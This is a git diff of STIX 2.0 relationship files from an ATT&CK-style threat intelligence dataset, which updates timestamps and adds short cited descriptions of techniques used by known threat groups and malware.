diff --git a/enterprise-attack/relationship/relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e.json b/enterprise-attack/relationship/relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e.json
index 24d5c835f5..85492e5a39 100644
--- a/enterprise-attack/relationship/relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e.json
+++ b/enterprise-attack/relationship/relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--04cf16a4-a13a-4a0e-9f4d-f387ff9a4f11",
+    "id": "bundle--a000edfc-060a-4ac2-81a4-c87190ece3ff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--d2858dfa-504f-416d-8801-41a1a9561f22.json b/enterprise-attack/relationship/relationship--d2858dfa-504f-416d-8801-41a1a9561f22.json
new file mode 100644
index 0000000000..7db033d4cc
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d2858dfa-504f-416d-8801-41a1a9561f22.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6f55a37d-a358-4234-8313-f02c379a2e04",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d2858dfa-504f-416d-8801-41a1a9561f22",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 enables the Remote Desktop Protocol for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d295beee-439c-44f9-9908-4cb194331de9.json b/enterprise-attack/relationship/relationship--d295beee-439c-44f9-9908-4cb194331de9.json
index fee93ff296..943b2812bc 100644
--- a/enterprise-attack/relationship/relationship--d295beee-439c-44f9-9908-4cb194331de9.json
+++ b/enterprise-attack/relationship/relationship--d295beee-439c-44f9-9908-4cb194331de9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f01b0a7-5b4c-4428-abf7-8eea8aacd975",
+    "id": "bundle--b570fe70-8559-46e7-a52e-1915c87a66e8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d295beee-439c-44f9-9908-4cb194331de9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Deep Panda group is known to utilize WMI for lateral movement.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9.json b/enterprise-attack/relationship/relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9.json
index d31b3afd65..faa95b9abe 100644
--- a/enterprise-attack/relationship/relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9.json
+++ b/enterprise-attack/relationship/relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1d6afbe-0c3d-4d41-bcd6-dc41e706ce26",
+    "id": "bundle--b17c21ba-fc2f-49e0-a655-1d8d3d98a30c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502",
             "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
diff --git a/enterprise-attack/relationship/relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697.json b/enterprise-attack/relationship/relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697.json
new file mode 100644
index 0000000000..bcf9cd484e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--e7c199a7-cd4f-4e51-84ae-b52659220790",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can log keystrokes.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d2d9a619-4379-4e15-9115-40ca9209f316.json b/enterprise-attack/relationship/relationship--d2d9a619-4379-4e15-9115-40ca9209f316.json
index 4bd86cd2db..a848705c48 100644
--- a/enterprise-attack/relationship/relationship--d2d9a619-4379-4e15-9115-40ca9209f316.json
+++ b/enterprise-attack/relationship/relationship--d2d9a619-4379-4e15-9115-40ca9209f316.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6f542736-6fa4-483c-bf4d-ed1ff3bbd2b0",
+    "id": "bundle--fc3b309b-745f-4592-9d3b-bec3bfee3c40",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d2d9a619-4379-4e15-9115-40ca9209f316",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects the current username from the victim.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406.json b/enterprise-attack/relationship/relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406.json
new file mode 100644
index 0000000000..3760c452ff
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--fb54c700-3241-41f5-b1ec-beb5887e576c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "After creating a new service for persistence,  sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0.json b/enterprise-attack/relationship/relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0.json
index 95c984262e..e4da91a30d 100644
--- a/enterprise-attack/relationship/relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0.json
+++ b/enterprise-attack/relationship/relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4c6b4e4b-80ec-484d-9dd6-dec398dce801",
+    "id": "bundle--dec076ce-03d8-438c-8431-678a046ac63a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gamaredon Group tools contained an application to check performance of USB flash drives.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265.json b/enterprise-attack/relationship/relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265.json
index 22f32bc188..34a9c6910e 100644
--- a/enterprise-attack/relationship/relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265.json
+++ b/enterprise-attack/relationship/relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7e449bd8-45ac-4083-a7a6-542ff601aa04",
+    "id": "bundle--91f86a4f-2063-4087-a5c1-fa257ee13306",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel relays traffic between a C2 server and a victim.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--d328f1e2-c98f-473e-aea5-063e1ee70744.json b/enterprise-attack/relationship/relationship--d328f1e2-c98f-473e-aea5-063e1ee70744.json
index 7dcf531bf0..bba5a76cde 100644
--- a/enterprise-attack/relationship/relationship--d328f1e2-c98f-473e-aea5-063e1ee70744.json
+++ b/enterprise-attack/relationship/relationship--d328f1e2-c98f-473e-aea5-063e1ee70744.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c26a75fe-4bf2-4ad8-b84c-592ae02a63d2",
+    "id": "bundle--45ae293b-58ad-410d-96bf-1dd54b427181",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d328f1e2-c98f-473e-aea5-063e1ee70744",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use <code>WinRM</code> to execute a payload on a remote host.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--d329d311-422b-4144-9212-aa7da4dc273a.json b/enterprise-attack/relationship/relationship--d329d311-422b-4144-9212-aa7da4dc273a.json
new file mode 100644
index 0000000000..5565f9969b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d329d311-422b-4144-9212-aa7da4dc273a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d53a48ea-a0a5-4070-a3cd-d90b32e3037f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d329d311-422b-4144-9212-aa7da4dc273a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used an IIS backdoor (RGDoor) via Web shell to establish redundant access. The group has also used harvested credentials to gain access to Internet-accessible resources such as Outlook Web Access, which could be used for redundant access.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d35b9e63-a236-47f4-9fa8-d04719858115.json b/enterprise-attack/relationship/relationship--d35b9e63-a236-47f4-9fa8-d04719858115.json
index d19661f8f8..eeae3df210 100644
--- a/enterprise-attack/relationship/relationship--d35b9e63-a236-47f4-9fa8-d04719858115.json
+++ b/enterprise-attack/relationship/relationship--d35b9e63-a236-47f4-9fa8-d04719858115.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75435a82-3c55-445d-a8a1-c8d9ca9e9d95",
+    "id": "bundle--52c30533-7d3b-4b48-b651-a2ab7ff5fa4e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d35b9e63-a236-47f4-9fa8-d04719858115",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025",
             "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
diff --git a/enterprise-attack/relationship/relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7.json b/enterprise-attack/relationship/relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7.json
index 2145ea2019..f1dc8e779d 100644
--- a/enterprise-attack/relationship/relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7.json
+++ b/enterprise-attack/relationship/relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4bc2ede6-1e1d-4b48-a2e3-1eeccc9366de",
+    "id": "bundle--c6c22b23-8991-43a0-97c7-277ebbd9994c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--d361058d-a11b-470d-bed8-44bfd8e50393.json b/enterprise-attack/relationship/relationship--d361058d-a11b-470d-bed8-44bfd8e50393.json
index abbff6f05d..24003f4b55 100644
--- a/enterprise-attack/relationship/relationship--d361058d-a11b-470d-bed8-44bfd8e50393.json
+++ b/enterprise-attack/relationship/relationship--d361058d-a11b-470d-bed8-44bfd8e50393.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81f9ecb8-5150-4781-87e9-dce2c14262d8",
+    "id": "bundle--e6c90a22-5b51-4033-8c83-f1a4cf140b69",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d361058d-a11b-470d-bed8-44bfd8e50393",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer transfers collected files to a hardcoded C2 server.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--d36e83a0-5370-4d78-862d-4dbe8921709d.json b/enterprise-attack/relationship/relationship--d36e83a0-5370-4d78-862d-4dbe8921709d.json
new file mode 100644
index 0000000000..54fe1ae0e1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d36e83a0-5370-4d78-862d-4dbe8921709d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--143e3c99-eba3-4ab2-8ce6-9598790dffee",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d36e83a0-5370-4d78-862d-4dbe8921709d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used PowerShell for execution.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d39e3775-9221-4020-b826-edc111e36c7c.json b/enterprise-attack/relationship/relationship--d39e3775-9221-4020-b826-edc111e36c7c.json
new file mode 100644
index 0000000000..83c4af3a2c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d39e3775-9221-4020-b826-edc111e36c7c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6e71ba92-f782-4cfd-831f-6e4023b5a72e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d39e3775-9221-4020-b826-edc111e36c7c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>net group /domain</code>, <code>net localgroup administrators</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to find group permission settings on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d.json b/enterprise-attack/relationship/relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d.json
index 15192fd9d8..cd079913b3 100644
--- a/enterprise-attack/relationship/relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d.json
+++ b/enterprise-attack/relationship/relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a964f08-5e28-4acb-99ce-cb2db45c9002",
+    "id": "bundle--05ac0bc2-e82b-4721-83c8-35fdc34edba7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor. The group has also moved laterally using the Local Administrator account.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91.json b/enterprise-attack/relationship/relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91.json
new file mode 100644
index 0000000000..958fa3be7e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f111d2a5-5566-4454-aff5-aa4bd1179196",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can dump process memory and extract clear-text credentials.",
+            "source_ref": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "MimiPenguin GitHub May 2017",
+                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
+                    "url": "https://github.com/huntergregal/mimipenguin"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5b3ca84d-d1dd-4ec7-b00d-abe1ba205362.json b/enterprise-attack/relationship/relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d.json
similarity index 72%
rename from enterprise-attack/relationship/relationship--5b3ca84d-d1dd-4ec7-b00d-abe1ba205362.json
rename to enterprise-attack/relationship/relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d.json
index f3979e3283..7c64949d15 100644
--- a/enterprise-attack/relationship/relationship--5b3ca84d-d1dd-4ec7-b00d-abe1ba205362.json
+++ b/enterprise-attack/relationship/relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d.json
@@ -1,18 +1,18 @@
 {
     "type": "bundle",
-    "id": "bundle--2970c256-2cf5-4968-b86f-9b4384cabdea",
+    "id": "bundle--66028abe-d6b4-437c-9fea-d46391cdd27f",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "relationship",
-            "id": "relationship--5b3ca84d-d1dd-4ec7-b00d-abe1ba205362",
+            "id": "relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of ADVSTORESHELL attempts communication to the C2 server over HTTP on port 443.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
-            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
             "external_references": [
                 {
                     "source_name": "Bitdefender APT28 Dec 2015",
diff --git a/enterprise-attack/relationship/relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036.json b/enterprise-attack/relationship/relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036.json
index 0b1063b30e..648a861cbf 100644
--- a/enterprise-attack/relationship/relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036.json
+++ b/enterprise-attack/relationship/relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bbeaa015-7cbc-4f3b-97a2-c05dad6d4b89",
+    "id": "bundle--aba3c9ac-1761-4cea-aa63-dbd10c04f259",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can scan victim drives to look for specific banking software on the machine to determine next actions. It also looks at browsing history and open tabs for specific strings.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--d43315b0-d708-4197-b3ed-0a0b1199e434.json b/enterprise-attack/relationship/relationship--d43315b0-d708-4197-b3ed-0a0b1199e434.json
index f47f15ee7b..bf2105b0d7 100644
--- a/enterprise-attack/relationship/relationship--d43315b0-d708-4197-b3ed-0a0b1199e434.json
+++ b/enterprise-attack/relationship/relationship--d43315b0-d708-4197-b3ed-0a0b1199e434.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b652b6c1-6b60-4e82-92e3-f346b4c06113",
+    "id": "bundle--3af5fe73-d7e7-4531-bc1f-b3704c643c62",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d43315b0-d708-4197-b3ed-0a0b1199e434",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
